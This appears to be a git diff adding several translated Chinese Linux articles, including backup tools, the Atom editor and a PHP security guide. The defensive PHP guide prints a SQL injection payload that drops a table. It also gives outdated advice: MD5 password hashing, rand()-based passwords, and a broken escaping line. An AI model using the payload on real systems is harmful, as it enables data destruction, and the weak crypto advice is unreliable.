-A | grep -i apache2 + +实际上我们可以使用类似 pgrep 和 pkill 的工具以一种更容易理解的方式实现。你可以使用 pgrep 找到和一个进程相关的信息。假如你要找和 apache2 相关的进程信息,你只需要运行: + + $ pgrep apache2 + +#### 输出样例 #### + + 15396 + 15400 + 15401 + 15402 + 15403 + 15404 + 15405 + +你也可以通过运行下面命令列出进程名称以及 pid。 + + $ pgrep -l apache2 + +#### 输出样例 #### + + 15396 apache2 + 15400 apache2 + 15401 apache2 + 15402 apache2 + 15403 apache2 + 15404 apache2 + 15405 apache2 + +用 pkill 杀掉进程非常简单。你只需要输入想要杀死的资源名称。我写了一篇关于 pkill 的博文,你可以参考: [http://www.tecmint.com/how-to-kill-a-process-in-linux/][3]。 + +用 pkill 杀死一个进程(例如 apache2),你只需要输入以下命令: + + # pkill apache2 + +你可以通过运行下面命令验证是否杀掉了 apache2。 + + $ pgrep -l apache2 + +它没有输出任何东西并返回到窗口意味着没有名称中包含 apache2 的进程在运行。 + +这就是我要说的所有东西。上面讨论的点肯定远远不够,但也肯定对你有所帮助。我们不仅仅是介绍教程使你学到一些新的东西,更重要的是想告诉你 ‘**在同样的情况下如何变得更有效率**’。在下面的评论框中告诉我们你的反馈吧。保持联系,继续评论。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/mkdir-tar-and-kill-commands-in-linux/ + +作者:[Avishek Kumar][a] +译者:[ictlyh](https://github.com/ictlyh) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/avishek/ +[1]:http://www.tecmint.com/tag/linux-tricks/ +[2]:http://www.tecmint.com/8-pratical-examples-of-linux-touch-command/ +[3]:http://www.tecmint.com/how-to-kill-a-process-in-linux/ \ No newline at end of file diff --git a/published/201507/20150629 Backup with these DeDuplicating Encryption Tools.md b/published/201507/20150629 Backup with these DeDuplicating Encryption Tools.md new file mode 100644 index 0000000000..8a0621a190 --- /dev/null +++ b/published/201507/20150629 Backup with these DeDuplicating Encryption Tools.md @@ -0,0 +1,149 @@ +使用这些去重加密工具来备份你的数据 +================================================================================ + +无论是体积还是价值,数据都在不断增长。快速而可靠地备份和恢复数据正变得越来越重要。社会已经适应了技术的广泛使用,并懂得了如何依靠电脑和移动设备,但很少有人能够面对丢失重要数据的现实。在遭受数据损失的公司中,30% 的公司将在一年内损失一半市值,70% 的公司将在五年内停止交易。这更加凸显了数据的价值。 + +随着数据在体积上的增长,提高存储利用率尤为重要。从计算机的角度说,数据去重是一种特别的数据压缩技术,因为它可以消除重复数据的拷贝,所以这个技术可以提高存储利用率。 + +数据并不仅仅只有其创造者感兴趣。政府、竞争者、犯罪分子、偷窥者可能都热衷于获取你的数据。他们或许想偷取你的数据,从你那里进行敲诈,或看你正在做什么。因此,对于保护你的数据,加密是非常必要的。 + +所以,解决方法是我们需要一个可以去重的加密备份软件。 + +对于所有的用户而言,做文件备份是一件非常必要的事,至今为止许多用户还没有采取足够的措施来保护他们的数据。一台电脑不论是工作在一个合作的环境中,还是供私人使用,机器的硬盘可能在没有任何警告的情况下挂掉。另外,有些数据丢失可能是人为的错误所引发的。如果没有做经常性的备份,数据也可能不可避免地丢失,即使请了专业的数据恢复公司来帮忙。 + +这篇文章将对 6 个去重加密备份工具进行简要的介绍。 + +### Attic ### + +Attic 是一个可用于去重、加密,验证完整性的压缩备份程序,它是用 Python 写的。Attic 的主要目标是提供一个高效且安全的方式来备份数据。Attic 使用的数据去重技术使得它适用于每日备份,因为只需存储改变的数据。 + +其特点有: + +- 易用 +- 可高效利用存储空间,通过检查冗余的数据,对可变块大小的去重可以减少存储所用的空间 +- 可选的数据加密,使用 256 位的 AES 加密算法。数据的完整性和可靠性使用 HMAC-SHA256 来校验 +- 使用 SDSH 来进行离线备份 +- 备份可作为文件系统来挂载 + +网站: [attic-backup.org][1] + + +### Borg ### + +Borg 是 Attic 的一个分支。它是一个安全的开源备份程序,被设计用来高效地存储那些新的或修改过的数据。 + +Borg 的主要目标是提供一个高效、安全的方式来存储数据。Borg 使用的数据去重技术使得它适用于每日备份,因为只需存储改变的数据。认证加密使得它适用于存储在不完全可信的位置。 + +Borg 由 Python 写成。Borg 于 2015 年 5 月被创造出来,是为了解决让新的代码或重大的改变带入 Attic 的困难。 + +其特点包括: + +- 易用 +- 可高效利用存储空间,通过检查冗余的数据,对可变块大小的去重被用来减少存储所用的空间 +- 可选的数据加密,使用 256 位的 AES 加密算法。数据的完整性和可靠性使用 HMAC-SHA256 来校验 +- 使用 SDSH 来进行离线备份 +- 备份可作为文件系统来挂载 + +Borg 与 Attic 不兼容。 + +网站: [borgbackup.github.io/borgbackup][2] + +### Obnam ### + +Obnam (OBligatory NAMe) 是一个易用、安全的基于 Python 的备份程序。备份可被存储在本地硬盘或通过 SSH SFTP 协议存储到网上。若使用了备份服务器,它并不需要任何特殊的软件,只需要使用 SSH 即可。 + +Obnam 通过将数据分成数据块,并单独存储它们来达到去重的目的,每次通过增量备份来生成备份,每次备份的生成就像是一次新的快照,但事实上是真正的增量备份。Obnam 由 Lars Wirzenius 开发。 + +其特点有: + +- 易用 +- 快照备份 +- 数据去重,跨文件,然后生成备份 +- 可使用 GnuPG 来加密备份 +- 向一个单独的仓库中备份多个客户端的数据 +- 备份检查点 (创建一个保存点,以每 100MB 或其他容量) +- 包含多个选项来调整性能,包括调整 lru-size 或 upload-queue-size +- 支持 MD5 校验算法来识别重复的数据块 +- 通过 SFTP 将备份存储到一个服务器上 +- 同时支持 push(即在客户端上运行) 和 pull(即在服务器上运行) + +网站: [obnam.org][3] + +### Duplicity ### + +Duplicity 以 tar 文件格式增量备份文件和目录,并使用 GnuPG 来进行加密,同时将它们上传到远程(或本地)的文件服务器上。它可以使用 ssh/scp、本地文件获取、rsync、 ftp 和 Amazon S3 等来传递数据。 + +因为 duplicity 使用了 librsync, 增量存档可以高效地利用存储空间,且只记录自从上次备份依赖改变的那部分文件。由于该软件使用 GnuPG 来加密或对这些归档文件进行进行签名,这使得它们免于服务器的监视或修改。 + +当前 duplicity 支持备份删除的文件,全部的 unix 权限,目录,符号链接, fifo 等。 + +duplicity 软件包还包含有 rdiffdir 工具。 Rdiffdir 是 librsync 的 rdiff 针对目录的扩展。它可以用来生成对目录的签名和差异,对普通文件也有效。 + +其特点有: + +- 使用简单 +- 对归档进行加密和签名(使用 GnuPG) +- 高效使用带宽和存储空间,使用 rsync 的算法 +- 标准的文件格式 +- 可选择多种远程协议 + - 本地存储 + - scp/ssh + - ftp + - rsync + - HSI + - WebDAV + - Amazon S3 + +网站: [duplicity.nongnu.org][4] + +### ZBackup ### + +ZBackup 是一个通用的全局去重备份工具。 + +其特点包括: + +- 对存储数据并行进行 LZMA 或 LZO 压缩,在一个仓库中,你还可以混合使用 LZMA 和 LZO +- 内置对存储数据的 AES 加密 +- 能够删除旧的备份数据 +- 可以使用 64 位的滚动哈希算法,使得文件冲突的数量几乎为零 +- 仓库中存储的文件是不可修改的,已备份的文件不会被修改。 +- 用 C++ 写成,只需少量的库文件依赖 +- 在生成环境中可以安全使用 +- 可以在不同仓库中进行数据交换而不必再进行压缩 +- 使用 64 位改进型 Rabin-Karp 滚动哈希算法 + +网站: [zbackup.org][5] + + +### bup ### + +bup 是一个用 Python 写的备份程序,其名称是 "backup" 的缩写。基于 git packfile 文件格式, bup 提供了一个高效的方式来备份一个系统,提供快速的增量备份和全局去重(在文件中或文件里,甚至包括虚拟机镜像)。 + +bup 在 LGPL 版本 2 协议下发行。 + +其特点包括: + +- 全局去重 (在文件之间或文件内部,甚至包括虚拟机镜像) +- 使用一个滚动的校验和算法(类似于 rsync) 来将大文件分为多个数据块 +- 使用来自 git 的 packfile 文件格式 +- 直接写入 packfile 文件,以此提供快速的增量备份 +- 可以使用 "par2" 冗余来恢复冲突的备份 +- 可以作为一个 FUSE 文件系统来挂载你的 bup 仓库 + +网站: [bup.github.io][6] + +-------------------------------------------------------------------------------- + +via: http://www.linuxlinks.com/article/20150628060000607/BackupTools.html + +译者:[FSSlc](https://github.com/FSSlc) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[1]:https://attic-backup.org/ +[2]:https://borgbackup.github.io/borgbackup/ +[3]:http://obnam.org/ +[4]:http://duplicity.nongnu.org/ +[5]:http://zbackup.org/ +[6]:https://bup.github.io/ \ No newline at end of file diff --git a/published/201507/20150629 First Stable Version Of Atom Code Editor Has Been Released.md b/published/201507/20150629 First Stable Version Of Atom Code Editor Has Been Released.md new file mode 100644 index 0000000000..a89520072a --- /dev/null +++ b/published/201507/20150629 First Stable Version Of Atom Code Editor Has Been Released.md @@ -0,0 +1,69 @@ +原子(Atom)代码编辑器的视频短片介绍 +================================================================================ +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/06/Atom_stable.png) + +[Atom 1.0][1]时代来临。作为[最好的开源代码编辑器]之一,Atom已公开使用快一年了,近段时间,第一个稳定版本的原子编辑器的发布却引起了广大用户的谈论。这个[Github][4]上的项目随着“为21世纪破解文本编辑器”活动的兴起,已近被下载了150万余次,积累35万活跃用户。 + +### 这是个漫长的过程 ### + +滴水穿石,非一日之功,Atom同样经历一个漫长的过程。从2008年首次提出概念到这个月第一个稳定版本的发布,主创人员和全球各地的贡献者,这几年来不断地致力于Atom核心的开发。我们通过下面这张图来了解一下Atom的发展过程: + +![Image credit: Atom](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/06/Atom_stable_timeline.jpeg) + +*图片来源:Atom* + +### 回到未来 ### + +Atom 1.0 通过流行的视频发布方式,展示了这款编辑器的潜能。这个视屏就像70年代的科幻连续剧一样,今天你将会看到一个极其酷炫的视屏: + +注:youtube视频,不行做个链接吧 + + +### 原子编辑器特点 ### + +- 跨平台编辑 +- 实现包管理 +- 智能化、自动化 +- 文件系统视图 +- 多窗操作 +- 支持查找更换 +- 高度个性化 +- 界面更新颖 + +### Atom 1.0起来 ### + +Atom 1.0 支持Linux,Windows和Mac OS X。对于基于Debian的Linux,例如Ubuntu和Linux Mint,Atom提供了deb包。对于Fedora,同样有rpm包。如果你愿意,你可以下载源代码。通过下面的链接下载最新的版本。 + +- [Atom .deb][5] +- [Atom .rpm][6] +- [Atom Source Code][7] + +如果你愿意,你可以[通过PPA在Ubuntu上安装Atom]。PPA并不是官方解决方案。 + +注:下面是一个调查,可以发布的时候在文章内发布个调查 + +#### 你对Atom感兴趣吗? #### + +- 噢,当然!这是程序员的福音。 +- 我并不这样认为。我见过更好的编辑器。 +- 并不关心,我的默认编辑器就能胜任我的工作。 + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/atom-stable-released/ + +作者:[Abhishek][a] +译者:[sevenot](https://github.com/sevenot) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://itsfoss.com/author/abhishek/ +[1]:http://blog.atom.io/2015/06/25/atom-1-0.html +[2]:http://itsfoss.com/best-modern-open-source-code-editors-for-linux/ +[3]:https://atom.io/ +[4]:https://github.com/ +[5]:https://atom.io/download/deb +[6]:https://atom.io/download/rpm +[7]:https://github.com/atom/atom/blob/master/docs/build-instructions/linux.md +[8]:http://itsfoss.com/install-atom-text-editor-ubuntu-1404-linux-mint-17/ diff --git a/published/201507/20150706 PHP Security.md b/published/201507/20150706 PHP Security.md new file mode 100644 index 0000000000..6a05674e98 --- /dev/null +++ b/published/201507/20150706 PHP Security.md @@ -0,0 +1,356 @@ +PHP 安全编程建议 +================================================================================ +![](http://www.codeproject.com/KB/PHP/363897/php_security.jpg) + +### 简介 ### + +要提供互联网服务,当你在开发代码的时候必须时刻保持安全意识。可能大部分 PHP 脚本都对安全问题都不在意,这很大程度上是因为有大量的*无经验程序员*在使用这门语言。但是,没有理由让你因为对你的代码的不确定性而导致不一致的安全策略。当你在服务器上放任何涉及到钱的东西时,就有可能会有人尝试破解它。创建一个论坛程序或者任何形式的购物车,被攻击的可能性就上升到了无穷大。 + +### 背景 ### + +为了确保你的 web 内容安全,这里有一些常规的安全准则: + +#### 别相信表单 #### + +攻击表单很简单。通过使用一个简单的 JavaScript 技巧,你可以限制你的表单只允许在评分域中填写 1 到 5 的数字。如果有人关闭了他们浏览器的 JavaScript 功能或者提交自定义的表单数据,你客户端的验证就失败了。 + +用户主要通过表单参数和你的脚本交互,因此他们是最大的安全风险。你应该学到什么呢?在 PHP 脚本中,总是要验证 传递给任何 PHP 脚本的数据。在本文中,我们向你演示了如何分析和防范跨站脚本(XSS)攻击,它可能会劫持用户凭据(甚至更严重)。你也会看到如何防止会玷污或毁坏你数据的 MySQL 注入攻击。 + +#### 别相信用户 #### + +假定你网站获取的每一份数据都充满了有害的代码。清理每一部分,即便你相信没有人会尝试攻击你的站点。 + +#### 关闭全局变量 #### + +你可能会有的最大安全漏洞是启用了 register\_globals 配置参数。幸运的是,PHP 4.2 及以后版本默认关闭了这个配置。如果打开了 **register\_globals**,你可以在你的 php.ini 文件中通过改变 register\_globals 变量为 Off 关闭该功能: + + register_globals = Off + +新手程序员觉得注册全局变量很方便,但他们不会意识到这个设置有多么危险。一个启用了全局变量的服务器会自动为全局变量赋任何形式的参数。为了了解它如何工作以及为什么有危险,让我们来看一个例子。 + +假设你有一个称为 process.php 的脚本,它会向你的数据库插入表单数据。初始的表单像下面这样: + + + +运行 process.php 的时候,启用了注册全局变量的 PHP 会将该参数赋值到 $username 变量。这会比通过 **$\_POST['username']** 或 **$\_GET['username']** 访问它节省击键次数。不幸的是,这也会给你留下安全问题,因为 PHP 会设置该变量的值为通过 GET 或 POST 的参数发送到脚本的任何值,如果你没有显示地初始化该变量并且你不希望任何人去操作它,这就会有一个大问题。 + +看下面的脚本,假如 $authorized 变量的值为 true,它会给用户显示通过验证的数据。正常情况下,只有当用户正确通过了这个假想的 authenticated\_user() 函数验证,$authorized 变量的值才会被设置为真。但是如果你启用了 **register\_globals**,任何人都可以发送一个 GET 参数,例如 authorized=1 去覆盖它: + + + +这个故事的寓意是,你应该从预定义的服务器变量中获取表单数据。所有通过 post 表单传递到你 web 页面的数据都会自动保存到一个称为 **$\_POST** 的大数组中,所有的 GET 数据都保存在 **$\_GET** 大数组中。文件上传信息保存在一个称为 **$\_FILES** 的特殊数据中。另外,还有一个称为 **$\_REQUEST** 的复合变量。 + +要从一个 POST 方法表单中访问 username 字段,可以使用 **$\_POST['username']**。如果 username 在 URL 中就使用 **$\_GET['username']**。如果你不确定值来自哪里,用 **$\_REQUEST['username']**。 + + + +$\_REQUEST 是 $\_GET、$\_POST、和 $\_COOKIE 数组的结合。如果你有两个或多个值有相同的参数名称,注意 PHP 会使用哪个。默认的顺序是 cookie、POST、然后是 GET。 + +#### 推荐安全配置选项 #### + +这里有几个会影响安全功能的 PHP 配置设置。下面是一些显然应该用于生产服务器的: + +- **register\_globals** 设置为 off +- **safe\_mode** 设置为 off +- **error\_reporting** 设置为 off。如果出现错误了,这会向用户浏览器发送可见的错误报告信息。对于生产服务器,使用错误日志代替。开发服务器如果在防火墙后面就可以启用错误日志。(LCTT 译注:此处据原文逻辑和常识,应该是“开发服务器如果在防火墙后面就可以启用错误报告,即 on。”) +- 停用这些函数:system()、exec()、passthru()、shell\_exec()、proc\_open()、和 popen()。 +- **open\_basedir** 为 /tmp(以便保存会话信息)目录和 web 根目录,以便脚本不能访问这些选定区域外的文件。 +- **expose\_php** 设置为 off。该功能会向 Apache 头添加包含版本号的 PHP 签名。 +- **allow\_url\_fopen** 设置为 off。如果你能够注意你代码中访问文件的方式-也就是你验证所有输入参数,这并不严格需要。 +- **allow\_url\_include** 设置为 off。对于任何人来说,实在没有明智的理由会想要访问通过 HTTP 包含的文件。 + +一般来说,如果你发现想要使用这些功能的代码,你就不应该相信它。尤其要小心会使用类似 system() 函数的代码-它几乎肯定有缺陷。 + +启用了这些设置后,让我们来看看一些特定的攻击以及能帮助你保护你服务器的方法。 + +### SQL 注入攻击 ### + +由于 PHP 传递到 MySQL 数据库的查询语句是用强大的 SQL 编程语言编写的,就有了某些人通过在 web 查询参数中使用 MySQL 语句尝试 SQL 注入攻击的风险。通过在参数中插入有害的 SQL 代码片段,攻击者会尝试进入(或破坏)你的服务器。 + +假如说你有一个最终会放入变量 $product 的表单参数,你使用了类似下面的 SQL 语句: + + $sql = "select * from pinfo where product = '$product'"; + +如果参数是直接从表单中获得的,应该使用 PHP 自带的数据库特定转义函数,类似: + + $sql = 'Select * from pinfo where product = '"' + mysql_real_escape_string($product) . '"'; + +如果不这样做的话,有人也许会把下面的代码段放到表单参数中: + + 39'; DROP pinfo; SELECT 'FOO + +那么 $sql 的结果就是: + + select product from pinfo where product = '39'; DROP pinfo; SELECT 'FOO' + +由于分号是 MySQL 的语句分隔符,数据库会运行下面三条语句: + + select * from pinfo where product = '39' + DROP pinfo + SELECT 'FOO' + +好了,你丢失了你的表。 + +注意实际上 PHP 和 MySQL 不会运行这种特殊语法,因为 **mysql\_query()** 函数只允许每个请求处理一个语句。但是,一个子查询仍然会生效。 + +要防止 SQL 注入攻击,做这两件事: + +- 总是验证所有参数。例如,如果需要一个数字,就要确保它是一个数字。 +- 总是对数据使用 mysql\_real\_escape\_string() 函数转义数据中的任何引号和双引号。 + +**注意:要自动转义任何表单数据,可以启用魔术引号(Magic Quotes)。** + +一些 MySQL 破坏可以通过限制 MySQL 用户权限避免。任何 MySQL 账户可以限制为只允许对选定的表进行特定类型的查询。例如,你可以创建只能选择行的 MySQL 用户。但是,这对于动态数据并不十分有用,另外,如果你有敏感的用户信息,可能某些人能访问其中一些数据,但你并不希望如此。例如,一个访问账户数据的用户可能会尝试注入访问另一个人的账户号码的代码,而不是为当前会话指定的号码。 + +### 防止基本的 XSS 攻击 ### + +XSS 表示跨站脚本。不像大部分攻击,该漏洞发生在客户端。XSS 最常见的基本形式是在用户提交的内容中放入 JavaScript 以便偷取用户 cookie 中的数据。由于大部分站点使用 cookie 和 session 验证访客,偷取的数据可用于模拟该用户-如果是一个常见的用户账户就会深受麻烦,如果是管理员账户甚至是彻底的惨败。如果你不在站点中使用 cookie 和 session ID,你的用户就不容易被攻击,但你仍然应该明白这种攻击是如何工作的。 + +不像 MySQL 注入攻击,XSS 攻击很难预防。Yahoo、eBay、Apple、以及 Microsoft 都曾经受 XSS 影响。尽管攻击不包含 PHP,但你可以使用 PHP 来剥离用户数据以防止攻击。为了防止 XSS 攻击,你应该限制和过滤用户提交给你站点的数据。正是因为这个原因,大部分在线公告板都不允许在提交的数据中使用 HTML 标签,而是用自定义的标签格式代替,例如 **[b]** 和 **[linkto]**。 + +让我们来看一个如何防止这类攻击的简单脚本。对于更完善的解决办法,可以使用 SafeHTML,本文的后面部分会讨论到。 + + function transform_HTML($string, $length = null) { + // Helps prevent XSS attacks + // Remove dead space. + $string = trim($string); + // Prevent potential Unicode codec problems. + $string = utf8_decode($string); + // HTMLize HTML-specific characters. + $string = htmlentities($string, ENT_NOQUOTES); + $string = str_replace("#", "#", $string); + $string = str_replace("%", "%", $string); + $length = intval($length); + if ($length > 0) { + $string = substr($string, 0, $length); + } + return $string; + } + +这个函数将 HTML 特定的字符转换为 HTML 字面字符。一个浏览器对任何通过这个脚本的 HTML 以非标记的文本呈现。例如,考虑下面的 HTML 字符串: + + Bold Text + +一般情况下,HTML 会显示为:**Bold Text** + +但是,通过 **transform\_HTML()** 后,它就像原始输入一样呈现。原因是处理的字符串中的标签字符串转换为 HTML 实体。**transform\_HTML()** 的结果字符串的纯文本看起来像下面这样: + + <STRONG>Bold Text</STRONG> + +该函数的实质是 htmlentities() 函数调用,它会将 <、>、和 & 转换为 **\<**、**\>**、和 **\&**。尽管这会处理大部分的普通攻击,但有经验的 XSS 攻击者有另一种把戏:用十六进制或 UTF-8 编码恶意脚本,而不是采用普通的 ASCII 文本,从而希望能绕过你的过滤器。他们可以在 URL 的 GET 变量中发送代码,告诉浏览器,“这是十六进制代码,你能帮我运行吗?” 一个十六进制例子看起来像这样: + + + +浏览器渲染这个信息的时候,结果就是: + + + +为了防止这种情况,transform\_HTML() 采用额外的步骤把 # 和 % 符号转换为它们的实体,从而避免十六进制攻击,并转换 UTF-8 编码的数据。 + +最后,为了防止某些人用很长的输入超载字符串从而导致某些东西崩溃,你可以添加一个可选的 $length 参数来截取你指定最大长度的字符串。 + +### 使用 SafeHTML ### + +之前脚本的问题比较简单,它不允许任何类型的用户标记。不幸的是,这里有上百种方法能使 JavaScript 跳过用户的过滤器,并且要从用户输入中剥离全部 HTML,还没有方法可以防止这种情况。 + +当前,没有任何一个脚本能保证无法被破解,尽管有一些确实比大部分要好。有白名单和黑名单两种方法加固安全,白名单比较简单而且更加有效。 + +一个白名单解决方案是 PixelApes 的 SafeHTML 反跨站脚本解析器。 + +SafeHTML 能识别有效 HTML,能追踪并剥离任何危险标签。它用另一个称为 HTMLSax 的软件包进行解析。 + +按照下面步骤安装和使用 SafeHTML: + +1. 到 [http://pixel-apes.com/safehtml/?page=safehtml][1] 下载最新版本的 SafeHTML。 +1. 把文件放到你服务器的类文件夹。该文件夹包括 SafeHTML 和 HTMLSax 功能所需的所有东西。 +1. 在脚本中 `include` SafeHTML 类文件(safehtml.php)。 +1. 创建一个名为 $safehtml 的新 SafeHTML 对象。 +1. 用 $safehtml->parse() 方法清理你的数据。 + +这是一个完整的例子: + + alert('XSS Attack')"; + // Create a safehtml object. + $safehtml = new safehtml(); + // Parse and sanitize the data. + $safe_data = $safehtml->parse($data); + // Display result. + echo 'The sanitized data is
' . $safe_data; + ?> + +如果你想清理脚本中的任何其它数据,你不需要创建一个新的对象;在你的整个脚本中只需要使用 $safehtml->parse() 方法。 + +#### 什么可能会出现问题? #### + +你可能犯的最大错误是假设这个类能完全避免 XSS 攻击。SafeHTML 是一个相当复杂的脚本,几乎能检查所有事情,但没有什么是能保证的。你仍然需要对你的站点做参数验证。例如,该类不能检查给定变量的长度以确保能适应数据库的字段。它也不检查缓冲溢出问题。 + +XSS 攻击者很有创造力,他们使用各种各样的方法来尝试达到他们的目标。可以阅读 RSnake 的 XSS 教程[http://ha.ckers.org/xss.html][2] ,看一下这里有多少种方法尝试使代码跳过过滤器。SafeHTML 项目有很好的程序员一直在尝试阻止 XSS 攻击,但无法保证某些人不会想起一些奇怪和新奇的方法来跳过过滤器。 + +**注意:XSS 攻击严重影响的一个例子 [http://namb.la/popular/tech.html][3],其中显示了如何一步一步创建一个让 MySpace 服务器过载的 JavaScript XSS 蠕虫。** + +### 用单向哈希保护数据 ### + +该脚本对输入的数据进行单向转换,换句话说,它能对某人的密码产生哈希签名,但不能解码获得原始密码。为什么你希望这样呢?应用程序会存储密码。一个管理员不需要知道用户的密码,事实上,只有用户知道他/她自己的密码是个好主意。系统(也仅有系统)应该能识别一个正确的密码;这是 Unix 多年来的密码安全模型。单向密码安全按照下面的方式工作: + +1. 当一个用户或管理员创建或更改一个账户密码时,系统对密码进行哈希并保存结果。主机系统会丢弃明文密码。 +2. 当用户通过任何方式登录到系统时,再次对输入的密码进行哈希。 +3. 主机系统丢弃输入的明文密码。 +4. 当前新哈希的密码和之前保存的哈希相比较。 +5. 如果哈希的密码相匹配,系统就会授予访问权限。 + +主机系统完成这些并不需要知道原始密码;事实上,原始密码完全无所谓。一个副作用是,如果某人侵入系统并盗取了密码数据库,入侵者会获得很多哈希后的密码,但无法把它们反向转换为原始密码。当然,给足够时间、计算能力,以及弱用户密码,一个攻击者还是有可能采用字典攻击找出密码。因此,别轻易让人碰你的密码数据库,如果确实有人这样做了,让每个用户更改他们的密码。 + +#### 加密 Vs 哈希 #### + +技术上来来说,哈希过程并不是加密。哈希和加密是不同的,这有两个理由: + +不像加密,哈希数据不能被解密。 + +是有可能(但非常罕见)两个不同的字符串会产生相同的哈希。并不能保证哈希是唯一的,因此别像数据库中的唯一键那样使用哈希。 + + function hash_ish($string) { + return md5($string); + } + +上面的 md5() 函数基于 RSA 数据安全公司的消息摘要算法(即 MD5)返回一个由 32 个字符组成的十六进制串。然后你可以将那个 32 位字符串插入到数据库中和另一个 md5 字符串相比较,或者直接用这 32 个字符。 + +#### 破解脚本 #### + +几乎不可能解密 MD5 数据。或者说很难。但是,你仍然需要好的密码,因为用一整个字典生成哈希数据库仍然很简单。有一些在线 MD5 字典,当你输入 **06d80eb0c50b49a509b49f2424e8c805** 后会得到结果 “dog”。因此,尽管技术上 MD5 不能被解密,这里仍然有漏洞,如果某人获得了你的密码数据库,你可以肯定他们肯定会使用 MD5 字典破译。因此,当你创建基于密码的系统的时候尤其要注意密码长度(最小 6 个字符,8 个或许会更好)和包括字母和数字。并确保这个密码不在字典中。 + +### 用 Mcrypt 加密数据 ### + +如果你不需要以可阅读形式查看密码,采用 MD5 就足够了。不幸的是,这里并不总是有可选项,如果你提供以加密形式存储某人的信用卡信息,你可能需要在后面的某个地方进行解密。 + +最早的一个解决方案是 Mcrypt 模块,这是一个用于允许 PHP 高速加密的插件。Mcrypt 库提供了超过 30 种用于加密的计算方法,并且提供口令确保只有你(或者你的用户)可以解密数据。 + +让我们来看看使用方法。下面的脚本包含了使用 Mcrypt 加密和解密数据的函数: + + + +**mcrypt()** 函数需要几个信息: + +- 需要加密的数据 +- 用于加密和解锁数据的口令,也称为键。 +- 用于加密数据的计算方法,也就是用于加密数据的算法。该脚本使用了 **MCRYPT\_SERPENT\_256**,但你可以从很多算法中选择,包括 **MCRYPT\_TWOFISH192**、**MCRYPT\_RC2**、**MCRYPT\_DES**、和 **MCRYPT\_LOKI97**。 +- 加密数据的模式。这里有几个你可以使用的模式,包括电子密码本(Electronic Codebook) 和加密反馈(Cipher Feedback)。该脚本使用 **MCRYPT\_MODE\_CBC** 密码块链接。 +- 一个 **初始化向量**-也称为 IV 或者种子,用于为加密算法设置种子的额外二进制位。也就是使算法更难于破解的额外信息。 +- 键和 IV 字符串的长度,这可能随着加密和块而不同。使用 **mcrypt\_get\_key\_size()** 和 **mcrypt\_get\_block\_size()** 函数获取合适的长度;然后用 **substr()** 函数将键的值截取为合适的长度。(如果键的长度比要求的短,别担心,Mcrypt 会用 0 填充。) + +如果有人窃取了你的数据和短语,他们只能一个个尝试加密算法直到找到正确的那一个。因此,在使用它之前我们通过对键使用 **md5()** 函数增加安全,就算他们获取了数据和短语,入侵者也不能获得想要的东西。 + +入侵者同时需要函数,数据和口令,如果真是如此,他们可能获得了对你服务器的完整访问,你只能大清洗了。 + +这里还有一个数据存储格式的小问题。Mcrypt 以难懂的二进制形式返回加密后的数据,这使得当你将其存储到 MySQL 字段的时候可能出现可怕错误。因此,我们使用 **base64encode()** 和 **base64decode()** 函数转换为和 SQL 兼容的字母格式和可检索行。 + +#### 破解脚本 #### + +除了实验多种加密方法,你还可以在脚本中添加一些便利。例如,不用每次都提供键和模式,而是在包含的文件中声明为全局常量。 + +### 生成随机密码 ### + +随机(但难以猜测)字符串在用户安全中很重要。例如,如果某人丢失了密码并且你使用 MD5 哈希,你不可能,也不希望查找回来。而是应该生成一个安全的随机密码并发送给用户。为了访问你站点的服务,另外一个用于生成随机数字的应用程序会创建有效链接。下面是创建密码的一个函数: + + 0) && + (! is_null($num_chars))) { + $password = ''; + $accepted_chars = 'abcdefghijklmnopqrstuvwxyz1234567890'; + // Seed the generator if necessary. + srand(((int)((double)microtime()*1000003)) ); + for ($i=0; $i<=$num_chars; $i++) { + $random_number = rand(0, (strlen($accepted_chars) -1)); + $password .= $accepted_chars[$random_number] ; + } + return $password; + } + } + ?> + +#### 使用脚本 #### + +**make_password()** 函数返回一个字符串,因此你需要做的就是提供字符串的长度作为参数: + + + +函数按照下面步骤工作: + +- 函数确保 **$num\_chars** 是非零的正整数。 +- 函数初始化 **$accepted\_chars** 变量为密码可能包含的字符列表。该脚本使用所有小写字母和数字 0 到 9,但你可以使用你喜欢的任何字符集合。(LCTT 译注:有时候为了便于肉眼识别,你可以将其中的 0 和 O,1 和 l 之类的都去掉。) +- 随机数生成器需要一个种子,从而获得一系列类随机值(PHP 4.2 及之后版本中并不需要,会自动播种)。 +- 函数循环 **$num\_chars** 次,每次迭代生成密码中的一个字符。 +- 对于每个新字符,脚本查看 **$accepted_chars** 的长度,选择 0 和长度之间的一个数字,然后添加 **$accepted\_chars** 中该数字为索引值的字符到 $password。 +- 循环结束后,函数返回 **$password**。 + +### 许可证 ### + +本篇文章,包括相关的源代码和文件,都是在 [The Code Project Open License (CPOL)][4] 协议下发布。 + +-------------------------------------------------------------------------------- + +via: http://www.codeproject.com/Articles/363897/PHP-Security + +作者:[SamarRizvi][a] +译者:[ictlyh](https://github.com/ictlyh) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://www.codeproject.com/script/Membership/View.aspx?mid=7483622 +[1]:http://pixel-apes.com/safehtml/?page=safehtml +[2]:http://ha.ckers.org/xss.html +[3]:http://namb.la/popular/tech.html +[4]:http://www.codeproject.com/info/cpol10.aspx \ No newline at end of file diff --git a/published/201507/20150709 7 command line tools for monitoring your Linux system.md b/published/201507/20150709 7 command line tools for monitoring your Linux system.md new file mode 100644 index 0000000000..da46bd124e --- /dev/null +++ b/published/201507/20150709 7 command line tools for monitoring your Linux system.md @@ -0,0 +1,83 @@ +监控 Linux 系统的 7 个命令行工具 +================================================================================ +**这里有一些基本的命令行工具,让你能更简单地探索和操作Linux。** + +![Image courtesy Meltys-stock](http://images.techhive.com/images/article/2015/06/command-line-tools-monitoring-linux-system-1-100591899-orig.png) + 